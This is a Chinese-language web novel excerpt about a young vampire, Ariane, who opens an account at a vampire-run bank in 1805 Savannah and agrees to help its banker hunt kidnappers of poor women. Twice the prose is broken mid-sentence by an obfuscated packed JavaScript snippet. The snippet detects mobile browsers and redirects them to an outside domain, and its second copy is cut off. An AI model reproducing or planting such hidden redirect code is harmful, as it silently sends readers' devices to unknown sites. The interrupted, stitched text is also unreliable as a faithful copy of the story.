阿因扎和我都很想你，阿丽亚娜。等有时间了，我会亲自去见你。我得小心行事，因为我现在的大部分行动都受到监视。实际上，我得到了一个恢复身份、重新加入骑士团的机会！我的下一个任务要去大沼泽地，会持续几个月。要是一切顺利，我会接到新任务，完成之后就能恢复职位了。亲爱的，这对我来说无比重要，真希望能得到你的祝福！ 带着姐妹般的爱， 希梅纳?德?加的斯 1804 年 9 月 7 日 1805 年 2 月，佐治亚州，萨凡纳 罗森塔尔财团的大楼并不大，仅仅比我儿时的家大一点儿，但却能在一整条街外就吸引人们的目光。要我说，当地的建筑风格只能算普通，我这么说已经算客气了。最常见的装饰就是在随处可见的水平木板上刷一层漆，就连市政厅这样的公共场所也是如此。 而这个高贵机构的大楼是橙色的。 没错，橙色。 它的墙壁完全由垂直雕刻的白色石头和火红色的砖块砌成。在那些色调单调的建筑中间，它就像一颗宝石，又像一个脓包。带栅栏的窗户和加固的大门，更让人觉得它是个异类。 道尔顿一言不发地隐入阴影之中，我则走向门卫。 他一开始装作没看见我，直到出于礼貌不得不有所反应。他看起来十分严肃，身着黑色服装，搭配白色衬衫，苍白的脸上留着浓密的胡须。我闻到他身上有火药味，有趣的是，还有施过魔法的物品的气息，不过他本人并不是魔法师。我仔细感知，辨认出了一种独特的气场。当他与我对视时，我的怀疑得到了证实。那些防护措施是为了抵御外界影响，包括魅惑术。 终于，有机会试试西尼德提到的那些技巧了！ 我和他之间的 “情感纽带” 碰到了一层光滑的屏障，被弹了回来。我慢慢改变纽带的 “颜色”，让它与他此刻的情绪相匹配。他充满戒心，但并不焦虑。在半秒之内，这根 “纽带” 就与屏障融为一体，穿了过去。 我礼貌地冲他微笑，还稍稍施展了一点魅惑暗示，他也回以微笑。 成功了！ “晚上好，先生，这里是罗森塔尔财团萨凡纳分部吗？” “是的，小姐，我们很乐意为您服务。不过很遗憾，我们已经关门了。” 没关系，我会继续 “说服” 他，直到他觉得我足够重要，值得给予特殊待遇。 “真可惜，我听说你们会在日落后营业。” 希梅纳是这么说的。 门卫的反应出乎我的意料。他脸色明显变得苍白，脸上的笑容也消失了。 “啊，是的，非常抱歉，女士，我们没想到您会来。” 他转身面向入口，在门上敲出一串特定的图案。然后从外套的暗袋里掏出一把钥匙，紧张地试了几次才插进锁孔转动。 门缓缓打开，仿佛在热情邀请我。 “请进，女士。” 嗯，真奇怪。他们就凭我这一句话，就猜到我的身份了？这不会是个陷阱吧？ 不太可能。要是有危险，希梅纳肯定会提前警告我的。 我走进一个漂亮的大厅。之前觉得这建筑外观花哨俗气，现在看来我错了。 地面完全由抛光的黑色石头铺成，正中央是一个直径五步的巨大白色圆圈，圆圈边缘环绕着我不认识的金色符文。墙壁底部也是同样的黑色石头，往上逐渐变成青铜色。大厅很狭长，尽头是一个高高的桃花心木柜台，后面有个柜员正在忙碌。除了这张桌子，能看到的家具只有几把椅子，还有一副中世纪的盔甲，盔甲里握着一把戟。 在我刚进来的这扇门旁边，左边有一扇门，右边墙上也有一扇，奇怪的是，还有一扇带栅栏的窗户。我还看到对面墙上有一条走廊，以及通往楼上的楼梯。 我立刻停住了脚步。这个地方充满了魔法气息。我跨过门槛的时候，肯定触发了某种警报，这根本无法避免。我还能感觉到，从那个圆圈、那副盔甲、好几扇门，还有让人惊讶的柜台，都散发着强大的魔力。 柜台后面的男人站了起来，看到我后愣住了。右边那扇带栅栏的窗户打开了，一个皱着眉头、拿着枪的男人探出头来。看到我后，他也一动不动了。 好吧，这可有点尴尬，不是吗？ “我是来开账户的。” 我觉得最好还是在那副盔甲自己动起来之前，先表明我的来意。 “啊，嗯，我……” 柜台后面的男人看起来就是我想象中会计的样子。他紧张地想把单片眼镜重新戴回鼻子上，但颤抖的手却把眼镜碰掉了，掉到了胸口。 大厅里一片寂静，我静静地等着。 很快，楼梯上传来了脚步声，缓慢而有节奏。 不一会儿，一个男人从容地走进房间，朝我走来。他比我稍微矮一点，黑色的头发向后梳得整整齐齐，灰色的眼睛目光锐利。他五官分明，透着贵族气质，脸上带着礼貌而尊重的神情。他身着剪裁精致的黑色西装，彰显出低调的高雅品味。他也是一名朝臣，而且实力强大。我感觉他正处于某种突破的边缘。他的气场是我所感受过的最自律、最沉稳的之一。 “晚上好，女士，欢迎来到我们这个简陋的地方。我是罗森塔尔家族的艾萨克。很高兴今晚能在这里迎接您。” “谢谢你，艾萨克，我是阿丽亚娜，来自…… 嗯，尼拉里家族。” 听到我的话，他原本平静的脸上闪过一丝复杂的情绪。 “真的吗？太棒了，太棒了！能有幸结识您，是我的荣幸。请跟我来。” 我接受了他的邀请，我们并肩走着。我们走路时没有发出一点声音，安静得连根针掉在地上都能听见。 他带我上了二楼，来到走廊尽头他的办公室。我们走进一个宽敞的房间，房间里只点了一根蜡烛照明。房间后面有一扇大窗户，可以看到屋顶和阴云密布的天空。一张大书桌两边各放着一把舒适的皮椅，这张桌子看起来就知道它的主人工作勤奋、做事条理分明。一摞摞文件夹整齐地放在木制文件架里，没有一份文件随意摊在外面，毕竟来访的客人视力都很好，这样做很有必要。书架上摆满了法律、经济和哲学方面的书籍，让这个房间有一种温馨的氛围。 “请坐，别拘束。” 他庄重地坐下，凝视了我一会儿，然后带着些许好奇向前倾身。 “在开始之前，我想确认一下您的身份。希望您别介意，啊，原谅我的冒昧，您能让我看看您的獠牙吗？” 我先观察他有没有冒犯我的意思，随后意识到这个要求并不过分。毕竟我又没带什么身份证明。 “啊，没错，八颗獠牙都在。真是不可思议。半个世纪前，我有幸在日内瓦见过您的主人。他可引起了不小的轰动！” “我听说他确实有这个本事……” 他意味深长地看了我一眼。 “是的，确实如此。这话说得很委婉。我只想说，能见到您我非常高兴。我们得知尼拉里大人有了新的子嗣，当我听说您被杀了的时候，还挺生气的。” “关于我死亡的传言有些夸大其词了。” “看来是这样！现在您来我们这儿开账户，尼拉里家族的账户持有人也因此增加到了三个。这对我们家族来说是个历史性的时刻。” “没错。在开始之前，如果您不介意的话，我有几个问题想问。” “当然不介意。如果您愿意，我可以给您介绍一下我们的服务项目、条款和条件。之后，如果您还有其他想了解的，我很乐意详细说明。” “听起来很不错。不过，首先我想把一件事说清楚。可以这么说，我在这片土地上的存在，并没有得到现任当局的认可。这会有问题吗？” “啊，是的。您的担忧可以理解。我们是一个完全独立的机构，与各国政府都有联系，但没有义务去执行他们的规定。我们非常重视隐私，各方一致认可我们的自治权。所以，我不仅能为您提供全方位的服务，还能保证，在您认为合适公开身份，以新人的身份进入社交圈之前，您的存在会一直保密。” 他表情严肃，语气郑重。 “这我就放心了，先生。如果可以的话，我想了解一下你们提供哪些服务？” “太好了，太好了！我们提供全方位的金融服务，包括各种个人银行业务、资产和财富管理、交易以及保管服务。我们还提供法律咨询，为我们这些长生不老的客户提供行政协助，比如帮您获取新的身份，我敢保证，您以后肯定用得上。我们也处理保险和遗产相关的事务……” 艾萨克详细介绍了一个小时，内容十分全面。我觉得短期内我应该用不到在两个假身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054939|162875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份之间转移公司所有权这种服务，不过知道有这种选择还是挺好的。最后，我开了一个支票账户，把剩下的钱都投入了一个回报率高但波动较大的基金。这个精明的男人还主动提出给我提供一个保险箱，作为商业上的一种表示，我接受了，但没打算用。毕竟我最珍贵的东西都挂在脖子上或者放在枪套里。 我下楼示意道尔顿带着我们的钱过来。通过赏金猎人和帮洛斯做各种工作，我总共攒了将近四百美元。反正不用在食物和住宿上花钱，就算给了我的附庸一部分，存钱也很容易。 艾萨克邀请我再上楼去，等我的钱清点完。 “我想请问您几个问题，可以吗？” “当然可以，阿丽亚娜小姐。不过我得提醒您，涉及到其他客户隐私的信息，我可能无法透露。” “我明白。您之前确认过我有个兄弟姐妹，我想知道，您能跟我讲讲关于他们的事吗？” “没问题，很简单。我都忘了您一直没怎么接触过家族事务。您的哥哥是斯维亚托斯拉夫，他现在是圣彼得堡最有影响力的人物。” “真的吗？俄罗斯属于我听说过的某个主要派系吗？” 艾萨克思考了一下，接着说道： “阿丽亚娜小姐，家族之间很少受国界限制，所以我们从不以‘葡萄牙’或者‘瑞士’来称呼自己，而是用家族或联盟的名字。” 啊，第一个问题就暴露了自己啥都不懂，干得可真“漂亮”，阿丽亚娜。 “俄罗斯有两个派系。其中一个是由强盗、女巫和邪教徒组成的联盟，说是联盟，其实名不副实。另一个派系则明显尚武，他们最亲密的盟友是骑士团。他们自称‘维雅齐’，致力于捕杀危险的魔法生物。1756年我有机会参观了他们的总部，说实话，还挺让我惊喜的。” “您记性真好。” “这是我们家族的显著特点。我们都头脑清晰，拥有过目不忘的记忆力。” “请原谅我这么说，先生，但我成为吸血鬼还不到两年，已经有很多事是我宁愿忘掉的了。” “没关系，没关系。幸好，我们能与那些痛苦的回忆保持一定距离。不然的话，恐怕抗痛训练就会让人难以忍受了。” 他说这话时面无表情，有那么一瞬间我以为他在开玩笑，但他脸上没有任何戏谑的神情。我觉得艾萨克算是对我稍微敞开心扉了一点。 “我们有点跑题了。您哥哥在当地各利益集团之间起着缓冲作用。他与许多关键决策者的交情通常就足够了。要是交情不管用，嗯，他也会让大家知道招惹他的后果。” “他有那么厉害吗？” “小姐，他已经活了七个世纪，曾是基辅罗斯联邦的王子。” 哇。如果他活了这么久，还像我想象中那样历经无数战斗，那他肯定是个强大的存在。这就是我现在的现实，只是因为没和族人相处，我都差点忘了这些。我们中的一些人见证过罗马的衰落，说不定还参与其中呢。 “如果您愿意，我可以代您给他传个消息。” 我真的想见一个会让我想起主人的人吗？ “不用了，谢谢。” 我对他又爱又恨，又爱又恨…… 我真是个坏女孩。我应该攒够钱买艘船，找到他的安息之地，把他挖出来，这样我们就…… 不！ 该死！ “小姐？” “没事。啊，你们有没有办法向…… 议长请愿，让我在这儿的身份，这么说吧，合法化？” “很遗憾，我们不是《协定》的签署方。严格来说，这本质上是兰卡斯特家族内部的冲突，我们没办法向他们请愿。不过，我们可以帮您传个话。我现在就可以告诉您，如果没有人替您担保，想要根据《协定》被认可为一个独立家族会很困难。” “《协定》是什么？” “这是一套规范所有居住在新大陆的吸血鬼权利和义务的规则。这些规则比较宽松，大多是为了保护个人，避免远方的冲突波及到这里。您知道三大联盟正在交战吗？” “知道，不过具体情况不太清楚。” “我们也不太清楚，因为消息传到我们这儿之前，联盟之间的局势就已经变了。根据《协定》，当地的分支机构禁止参与战争，到目前为止，当地的家族也确实没有卷入其中。” “这些规则是怎么执行的呢？” “现任议长康斯坦丁大人有一些军队，还能召集更多人手。目前，当地还没有哪个家族发展到足够强大的规模，没有一个能真正对他构成挑战。至少现在还没有。” “真有意思。这个地方真的就是为流亡者和难民准备的。啊，我不是故意冒犯。” 我不知道艾萨克有没有被冒犯到。这个人脸上的表情就跟大理石雕像一样少。要不是我对洛斯也经常这样面无表情，这还挺让人不安的。 “没关系。说实话，我来这儿是度假的。” 哈？ “度假？真的吗？” “真的。” 我意味深长地看了看那张整洁的书桌和堆积如山的文件。这个人明明可以去尼亚加拉大瀑布或者基韦斯特这些地方游玩，却选择待在这儿处理文件？还是在萨凡纳这个地方？希望沉默守望者能把我从这个“疯子”身边解救出来。 “别被表象迷惑了。我的工作量很轻松，尤其是和在家的时候比。我能趁机读好多我盼了十年的书。” “我知道银行家工作很辛苦，这是当然……” “这话说得太轻描淡写了，而且这还是在正常情况下。现在，欧洲被拿破仑的战火笼罩，我们预计明年就会有贸易战。面具会正在陷入内战，埃塞鲁和‘道路追随者’也在针锋相对。相信我，我真的需要来这儿享受田园生活放松一下。当我得知家族在找一个人来这个偏远的地方任职两年时，我立刻就抓住了这个机会。” 这是我第一次看到他真情流露，即便如此，也只是稍有情绪波动罢了。 “我明白了。我只是希望我的祖国能有更多吸引人的地方，而不是…… 像现在这样。” “别担心，我有书为伴。之前唯一缺少的就是同类的陪伴，所以您的来访真是太及时了，真的非常及时！那个……” “怎么了？” “不…… 不，我不该说的。我这样太不专业了。请您原谅我。” 真奇怪！这太出乎意料了。这个人一开始给人的感觉无比圆滑，甚至可以说有点自负，现在却像个心怀鬼胎的浪荡子一样说话？我太好奇了！ “艾萨克，既然我们的正事已经办完了，我以一个孤独的吸血鬼的身份问你，而不是作为客户对罗森塔尔家族的成员发问，到底怎么回事？有话就直说吧。” 他看起来有些慌乱。 “啊，嗯，那个…… 我们先把这儿的事处理完，然后或许我们可以到外面接着聊？” 越来越奇怪了。这个镇定自若的银行家突然就乱了分寸？我所有的预期都被打破了。我和道尔顿跟着这个奇怪的男人走出办公室，穿过大厅，来到大门外。门卫一脸惊讶，但什么也没说。 很快，我们来到一个小花园，这个时间花园里空无一人。艾萨克转过身来，停住脚步。他给我的感觉是那种说话很谨慎的人，所以我耐心地等他组织语言，我敢肯定他接下来会提出一个请求。吸血鬼不能成为恳求者，因为我们有自卫能力，所以这肯定是两个地位相当的人之间的公平交易。我很期待听听他要说什么。 终于，艾萨克深吸一口气，就在这时，道尔顿因为我们俩反常地一动不动，开始有点担心了。 我的耐心终于要有回报了！我肯定会听到一个很精彩的故事。 “尼拉里家族的阿丽亚娜，我希望在我杀一个人的时候，你能提供帮助。” 啊。 33. 吸血鬼的首次猎杀任务 “管他什么温文尔雅、含蓄内敛，这家伙简直厚颜无耻！谁会在初次见面的晚上就问出那样的问题？这也太放肆了，真的是太放肆了！” “艾萨克！你怎么如此大胆妄为！” 他的脸因不悦而皱成一团。他一定羞愧至极，才会如此毫不掩饰。 “当然，阿丽亚娜，我为我的鲁莽深表歉意，但恳请你在做出最终判断前，听我把话说完。我提出这个唐突的请求，实在是形势所迫。” “嗯，我得承认，我很惊讶。在我印象里，你是个非常有涵养的人，所以我想，你提到的那些情况肯定非同小可，才让你打破了常规。” “我这辈子从来没猎杀过。” “……” 什么？他…… 什么？一个从未猎杀过的吸血鬼？我的耳朵没听错吧？ “你肯定是在开玩笑，艾萨克。你说你从1756年就活在世上了。我不信…… 我根本无法接受你…… 这不可能。” “啊，你的反应在我意料之中。恰恰相反，这表明你是最适合帮我完成这个请求的人。” “艾萨克！我们生来就是猎人。你不可能不狩猎！这…… 天哪！” 我的同伴苦笑着，这时我才意识到，自己的惊讶之情竟成了对他的冒犯。 “原谅我，艾萨克，我无意冒犯。我猜你心里已经有特定的目标了？” “是的，虽然我不知道是谁，更重要的是，不知道有多少人。你帮我这个忙，想要什么回报？” “我不知道你能拿出什么。” “这样如何：要是你能获得足够的支持，申请家族地位，而且没有犯下暴行，我会亲自为你写推荐信。虽说我不属于《协定》的成员，但像我这样的人的声誉，对你会有帮助的。” “我不清楚这封推荐信有多大价值。” 我只同意公平交易。我和艾萨克不像我和希梅纳那样是朋友，所以我对他没有什么人情可讲，不过出于礼貌，我会听他说。 “当你的申请被审议时，你成功逃脱的事会被公开，随之而来的各种后果也会浮出水面。兰开斯特家族肯定会设法重新掌控你，他们不能再拿你主人和他们的协议说事，因为你已经成功摆脱了他们的控制。然而，他们肯定会声称你对整个社群和你自己都是个威胁，必须受到严格管控，当然是由他们来管控，毕竟他们曾成功阻止你肆意妄为长达六个月。到时候会有类似审判的程序，我会作证我们见过面，而且你举止得体、沉着冷静。 康斯坦丁头脑理智，而我们家族以公正不阿著称。他会明白，兰开斯特家族和你的盟友都有偏见。我们罗森塔尔家族以可靠和公正闻名。我向你保证，这对他的决定会有重大影响。但请注意，要是你开始屠杀村庄，我就不会再支持你了。我相信你能理解。” “你这是用一个有条件的、未来的、无形的回报，来换取当下的服务。” “我郑重发誓，我相信这对你有利。” “嗯。” 换作别人，我肯定拒绝，但吸血鬼发的誓是可信的。艾萨克确实相信这对我有利，而且他对我们政治体系的了解远超于我。我要是能考虑到这一点，那才是明智之举。 “我接受。” “…… 太好了。” 他一动不动。 “那？我们要杀谁？” 我越来越不耐烦地问道。 “对，没错。在过去三个月里，城里不断有女性失踪。至少有七人，不过由于受害者社会地位低下，很难确切知道具体人数。 通常情况下，我不会插手此事，因为我们秉持严格的中立原则，而且我的主人特别坚持我们绝不能参与争斗。” “真的吗？” “是的，这是我们的传统，我们的价值观。我们理应远离尘世纷争，专注于仲裁和维护秩序。我们的权力源于财富和联盟，所以我们被要求不要亲自动武。” “听起来…… 既乏味又令人沮丧。” “对你来说，这肯定是不可能的，阿丽亚娜。你们这一脉被称为‘吞噬者’可不是徒有虚名。你们多出来的獠牙，能让你们在战斗中进食，目的只有一个：不停地杀戮，一次又一次，直到你们成为最后的幸存者。” “等等…… 等等…… 你是说只有我们能吞噬？” “没错！我们凭借超凡的头脑，肩负着知识和记录的传承，而你们生来就要独自对抗一切。” “…… 可我们这一脉似乎混得不太好。” “很不幸，那是因为你的主人根本不在乎你。不管怎样，我…… 还从未完整地完成过一次猎杀。主人不会赞成的。” “他们不一定要知道。” “哦，她会知道的。联盟的凡人雇员会向她汇报。” “……” 被自己的追随者监视？这简直难以想象。他为什么不杀了他们，除非…… 啊，他是被迫服从主人的命令。 “你难道不应该更担心吗？” “听着，我忠心为家族效力了七十多年。我毫无差错地执行每一道命令，为家族的成功做出了重大贡献。现在，在我的地盘上有个杀手逍遥法外，而我的手下到现在都没能抓住他。所以，我要自己解决这个问题！要是我的主人有意见，等我十三个月后回去，她可以当面说。” “我想，你的反抗精神令人钦佩，不过我希望作为你的帮凶，我不会和你一起受罚。” “阿丽亚娜，很抱歉，这话不太好听…… 你还没重要到能引起她的注意。” “……” 好吧，这可真让人难堪。如今我终于重新和其他吸血鬼有了联系，这才想起自己不过是个被抛弃的新生吸血鬼，身处偏远地区，既无关系又无权力。也许长期的独居生活让我忘记了自己在暗夜世界里的地位。我突然很想在未来改变这一现状。我绝不要一直处于底层。我绝不甘心。 “好吧。我说过，最近一起失踪案发生在黄昏时分。要是我们动作快点，或许还能从犯罪现场找到些线索。” 线索？犯罪现场？ “我不太明白你的意思。” “我们要去检查受害者失踪的地方，从…… 罪犯可能留下的东西推断出他的特征和身份。” “哦，我想我懂了。你是要用科学、有条理的方法来破案，对吗？” “没错。你…… 不是这样做的吗？” “不是。在大城市里这或许有必要，但在小社区里就多余了。要是你住的镇上只有两百人，那潜在的违法者名单就很短。不是那几个惹事生非的人，就是路过的旅人。通常简单审问一下就能消除疑虑。” “啊，当然，没错，确实如此。真希望这次也能这么简单。我们赶紧出发吧。” 在道尔顿的跟随下，十五分钟后，我们来到了萨凡纳较为贫穷的区域。那里的房子参差不齐，有些小得跟棚屋差不多。寒冷的天气稍微冲淡了些人类和垃圾的气味，但效果并不明显。除此之外，我还闻到了木柴燃烧的烟味、肥皂味和食物的味道。我们走向一间小房子，那房子也就一个房间大小，一路上所有人都紧盯着我们。在这个人人充满戒心的时期，我们整洁的外表和华丽的衣着让我们格外显眼。这可不对。我们本应像草丛中的玫瑰般出众，而不是像扎眼的拇指。整个过程让我很不舒服，要不是任务紧急，我真想让艾萨克给我个换装的机会。 我们在一座未经粉刷、毫无装饰的木石房子前停下，这房子和周围的其他房子没什么两样。这里所谓的建筑，只有单调的棕灰色，沉闷得我都觉得，把整个街区付之一炬或许还能让它好看些。 我的同伴敲了敲门。在屋里，我能听到三颗跳动的心脏，分别属于两个孩子和一个哭泣的女人。也许我们能听听他们要说什么？ “见鬼去吧！” 好吧，这开场可真 “吉利”。 “对不起，夫人，我们是来了解失踪女子的事的。” 我用温和的语气说道。 我听到她短暂地吸了口气，接着是沉重的脚步声，然后门 “砰” 的一声被打开了。 “你们到底是谁？！” 我给了她一个最能安抚人心的微笑，还强忍着没因为她的挑衅而撕开她的喉咙。毕竟，她正在悲痛之中。 “这位是艾萨克?罗森塔尔，一位热心市民，这位是科纳尔?道尔顿，佐治亚州最出色的赏金猎人。我们听说有个人失踪了？” 我一边说着，一边用眼神注视着这个女人。 我轻轻把绝望的情绪推到她面前。 “她不见了！没人相信我，没人！警察说她只是个去别的地方接客的妓女，但我了解她，她说过会回家的，而且她向来言出必行，可房间里一片狼藉，还有…… 哇啊。” 我轻轻把女人往前拉，拍了拍她的头。我的手触碰到她干枯粗糙的头发，但她身上闻起来很干净。 我安慰了她一会儿，然后请她让我们进去。我们跟着她走进那个单间。 这个地方让我看到了在逆境中保持的尊严。白色的灰泥墙壁光秃秃的，家具都是用粗糙的木头拼凑起来的，有些都快散架了。仅有的几个罐子都有缺口，房间中央是一张凌乱的床。我现在可以肯定，失踪的女人确实是在 “接客”，因为烟草味和陈旧的性气味再明显不过了。 在两个年幼孩子担忧的目光下，我让女人坐在一把摇摇晃晃的椅子上。一个男孩和一个女孩，他们脸上带着那种知道发生了悲剧，却又不明白其中含义的茫然神情。 “他们是来找妈妈的吗？” 我错了，他们明白。 “是的，我们是。现在去床上坐着，我和我的新朋友聊会儿天。” 我说话时带着一丝暗示。我肯定会找到受害者，但这并不意味着我得忍受她孩子的存在和不停的唠叨。 “现在告诉我们发生了什么。” 在女主人喋喋不休的时候，我偷偷看了一眼艾萨克，我立刻明白了他这些年是如何保持理智的。他的思维就像捕食者一样敏锐。 道尔顿看起来很冷漠，只留意了一些细节，主要是在充当哨兵。相比之下，我的同类就像一条猎犬。他的目光全神贯注地从一个事物转移到另一个事物上，注意到每一个细节，将它们分类记录，然后又按照只有他自己能理解的逻辑转移到下一个事物上。在这里，其他人仿佛都不存在。他沉浸在自己的世界里，用他的智慧剖析和解读每一个细节，每一条他能捕捉到的信息。 看来我的角色已经确定了，我来安抚这个凡人，而他去做他的事。 我在女人心里找到希望的线头，轻轻一拉。她的眼泪立刻就干了，开始给我讲述她的故事。我确保她的目光一直落在我身上。 这位女主人名叫苏珊娜，她的妹妹叫克里斯汀，或者说曾经叫这个名字。克里斯汀和她的两个孩子独自生活，主要靠打零工维持生计。我还了解到，她为了多挣些钱，从事世上最古老的职业时，经常把孩子托付给她姐姐照顾。今天苏珊娜回来时，发现房子空无一人，还有些损坏。她立刻就知道出事了，但邻居们没听到任何异常动静，也没看到什么特别可疑的人。毕竟附近的路在仓库和码头之间，即使很晚交通也很繁忙。 她讲完后，挑衅地盯着我，似乎在等着我发表评论。我理解她为什么有戒心。她妹妹是个廉价妓女兼洗碗女工。她处于社会底层，我们根本没理由关心她。 但我发现自己确实在意，就像在意其他凡人一样。这些人和地主、士兵以及其他人一样，都处于食物链之中，和其他人一样，他们也有自己的位置，在我之下。他们能给我带来价值，我不会仅仅因为他们的社会地位就抛弃任何人。 这就是他们的内在价值，而且这还没考虑到具体情况：那个女人不是被杀，而是被绑架了。至少到目前为止，这里没有人死亡，我也知道她为什么会被选中。 有人费尽心思从她家里把她绑架走。就算经过精心策划，这也是个冒险的举动。这表明他们有手段、有意愿，还有一定的能力。我很好奇是什么促使他们做出这个决定。 至于为什么偏偏是克里斯汀，原因很明显。她极度脆弱，从最字面的意义上来说，她是个被法律抛弃的人：一个不再受法律保护的人。我敢打赌，其他大多数受害者也有类似的情况。 如果有一天我要建立自己的巢穴，我会招募的就是这些人，而不是那些寻求刺激的贵族，或是有影响力的商人，而是那些被社会遗弃的人、边缘人，那些还没被生活击垮的人。因为他们虽然缺乏权力和影响力，但他们的坚韧和不屈足以弥补这一切。即使现在，苏珊娜眼中的反抗之火也从未熄灭。他们和我一样，都是幸存者。我可以用钱买影响力，也可以用影响力赚钱。但没有什么能取代这种强烈的求生欲望。 艾萨克完全没注意到周围的情况，突然走到一道帘子前，拉开帘子，露出一扇后门。他几乎没停顿，就打开门走了出去。 我看他这人不太懂礼貌。我们的女主人显然对他这种无礼的态度感到有些不知所措。 好吧，该走了。我站起来准备离开，道尔顿跟在我身后。 “我们会去找她，有消息就回来告诉你。” “可是…… 等等！” “留在这儿照顾你的外甥和外甥女，好吗？” “好…… 好的，当然。” 在外面，我的吸血鬼同伴穿过一片菜地，跪在一条小径前，那小径不过是一条泥泞的小道。四周被石墙、垃圾和一堆堆柴火挡住了视线。 艾萨克一言不发地站起来，顺着小路朝仓库区走去。 “我们在跟踪一辆马车？” “是的，小姐，没有迹象表明门是被强行打开的，所以她让他们进去了。不过，带着一个被捆绑的人从一条人来人往的街上出去太冒险了，所以他们很可能是把她从后门拖出去的。” 他们？我看了看地面，确实，除了我们的脚印，我还数出另外三个人的。其中一个脚印非常清晰，说明穿的是双好靴子。很不幸，被绑架者习惯轻易地让男人进屋。绑匪选对了目标。 “艾萨克，我们难道不问问邻居们看到了什么吗？” “没必要，我知道的已经够多了。那个女人被她放进来的三个男人迅速制服，然后从后门被带出去，放进了一辆小篷车里。” 对这些细节这么有把握，是吧？我倒要看看是不是真有这么厉害。 我原以为我们会跟丢线索，毕竟这里很热闹，但我错了。绑架案才发生几个小时，而且现在很晚了，街上只有少量车辆。那些独特的痕迹还没有完全消失。 我们找了一个小时。当痕迹被掩盖时，比如在繁忙的十字路口中间，艾萨克就会仔细检查每一条可能的出口道路，直到再次找到线索。有时，一些贪婪的人会盯着穿着华丽、心不在焉的路人，但道尔顿的一个眼神就能把他们吓退。在过去六个月里，由于有规律的饮食，道尔顿长高长壮了不少，手枪枪柄的微光就是最有力的威慑。 最终，我们的向导把我们带到了码头一个更偏僻的地方。在这个夜晚，这里一片寂静，这让我想起我为博杜安完成的第一个任务——清理仓库。我猜，就像那时一样，这片区域的人都很识趣，不会多问。 艾萨克正在检查一组令人费解的交错痕迹，这时我决定插手。我轻轻碰了碰他的肩膀，他转过身来，满脸沮丧。我默默地指了指自己的鼻子。 他吸了口气，恍然大悟，眼睛睁得大大的。这里有烟草味，更确切地说，和我们在那间破屋里闻到的是同一种品质。不过，这次烟还在燃烧。 我们顺着气味找到了源头。 当我们从一个穿着制服的城卫身边走过时，我们知道已经到目的地了。雪茄的红色余光照亮了他蜡黄的脸，他的眼睛一直盯着我们，直到我们消失在他的视线里。 深更半夜，这个男人独自守卫一处私人房产，实在没有明显的理由。 原来这就是绑匪能顺利进入克里斯汀住所的原因。不是所有人都会信任执法人员，但很少有人会公然违抗他们。对于像那些被绑架的弱势群体来说，尤其如此。他肯定是要求他们开门，而他们觉得还是别惹事为好。在这里，他们对正义和执法人员的尊重被罪犯利用了。命运可真是充满讽刺。 我们知道了作案手法和作案对象，现在该弄清楚原因了。我想到两种可能。要么她们是被某个披着人皮的怪物绑架，只为满足私欲，那样的话，这次猎杀就到此为止；要么她们是被抓去贩卖或用于其他地方。悄悄潜入能让我们有更多选择。 我把他们拉到一条小巷里。我先转向道尔顿。 在合作完成了好几个赏金任务后，我们已经形成了一套用手势交流的方式，对此我还挺自豪的。我缓慢而清晰地打着手势：艾萨克、我，上去，猎杀，杀死，你，去，放哨，安静，警告，来人。 他立刻回应：条件，敌人，来，杀死，安静，同意？ 我点头表示肯定。他可以根据情况自行消灭来袭的威胁。我信任他。 说完，道尔顿像影子一样离开了，我花了片刻时间欣赏他的身手。等他转过街角后，我爬上最近那栋建筑的木墙，在屋顶上大步前行，艾萨克跟在后面。 “那个男人和你是什么关系？” 我带着不小的好奇转过身。他难道看不出来吗？ “他是我的附庸。” “真厉害。附庸是培养真正人类仆人的第一步。你很幸运，这么快就找到了一个，而且在你新生不久就能将他束缚，他还如此强大。我得承认，你主人挑选候选人的眼光，果然如传言中那般精准。” 我愤怒地皱起眉头。当然是主人选对了我…… 等等，不对，他这话什么意思？我是被侮辱了吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我静静地等着他们继续。到目前为止，我还没被发现。 我慢慢地用手指抬起锁，把它取出来，然后把四只爪子伸到下窗框下面。 我等到下一次喧闹声响起时，把整个窗框抬了起来。这次，声音没能完全被掩盖。 “你们听到什么声音了吗？” “没有啊？” 作为预防措施，我还是回到了屋顶。几秒钟后，来查看动静的不是打牌的人，而是那个警察。我的动静被外面听到了。幸运的是，天太黑，他没注意到窗户还开着。 他敷衍地检查了一下就离开了。 我得承认，这很有趣。我的敌人在正面交锋中或许不是我的对手，但能如此彻底地智取并操控他们，实在是令人满足。也许艾萨克的决定是对的。 一确认安全，我就悄悄地滑进了办公室。打牌又继续了，不过现在气氛更安静了。我爬过一张桌子，跳到满是灰尘的地上，发现房间里堆满了各种奇怪的日常物品，有工具、绳子、罐子，甚至还有一匹玩具马。有人在这些东西中间清出了一条通向门口的路。 艾萨克跟在我后面滑了进来，他的目光立刻落在面前的一堆文件上。在他完全沉浸其中之前，我轻声说道： “我们难道不审问他们吗？那个女人不在这里。” “那样太吵了，而且，我在这里就能找到所有我需要的答案。” 他不屑地回答道。 “你到底是不是来猎杀的？” 我低声质问道。 “要是你能让他们开口，又不弄出动静惊动整个街区，那就尽管去做。” 然后他转过身，开始整理和分类文件，完全沉浸在自己的任务中。 好吧，你这个令人难以忍受的书呆子。害怕展现自己的本性。真是浪费精华。但我既然答应了，就还是由他指挥。不过，他这是在向我挑战。 